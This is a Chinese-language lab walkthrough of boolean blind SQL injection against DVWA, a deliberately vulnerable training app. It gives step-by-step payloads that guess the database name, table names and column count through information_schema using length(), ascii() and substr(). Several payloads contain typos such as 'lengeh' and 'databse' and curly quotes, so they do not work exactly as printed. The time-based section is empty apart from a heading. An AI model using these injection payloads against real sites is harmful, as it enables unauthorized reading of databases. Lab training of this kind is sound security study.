DVWA-sql注入(盲注)

SQL注入分类

1.(以字符类型方式)

     ▪数字型

     ▪字符型

2.(以注入方式)

       ▪ 回显注入        < 回显正常、 回显报错注入>

       ▪ 盲注               <布尔盲注、  时间盲注  >

 

 

dvwa盲注模块 

低级别

输入5

DVWA-sql注入(盲注)

 

 

输入6

 

DVWA-sql注入(盲注)

 

 

输入  1 and  1=1 #  正确  1  and  1=2   #  正确

 

输入  1' and '1'='1 #  正确   1’ and  '1'='2 # 错误

 

说明 存在注入漏洞  且是字符型  得盲注

 

 

 

一、猜解数据库名:

 

1' and lengeh(database()) > 3  # 正确

 

1' and lengeh(database()) > 4   # 错误

 

数据库长度是4 

输入1’ and length(database())=4 # ,显示存在:说明长度为4

 

DVWA-sql注入(盲注)

 

 

 

 

 

2  、

然后采用二分法猜解数据库的名字,可以用if函数,这里用的ASCII值,道理都是一样的:

1’ and ascii(substr(databse(),1,1))=100 #

DVWA-sql注入(盲注)

 

 

 第一个字母的ASCII值是100,也就是d,以此类推得出数据库名是dvwa。

 

二、 猜解表名:

1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 #

DVWA-sql注入(盲注)

 

 

 说明有两个表。

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 

显示存在,说明第一个表的长度是9.

DVWA-sql注入(盲注)

 

 

 

 

 

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #

显示存在,说明第一个字母是g。

再重复步骤猜解,即可猜解出两个表名(guestbook、users)。

 

 

三、猜解字段名:

猜解数量:1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 #

显示存在,说明一共8个字段。

然后再利用2分法猜解字段名和字段中数据。

 

 

 

 

基于时间的盲注:

 

 

DVWA-sql注入(盲注)

 

 DVWA-sql注入(盲注)

 

 

 

 

 

 

 

 

 

上一篇:微信小程序存放视频文件到阿里云用到算法js脚本文件


下一篇:Android中JNI的使用方法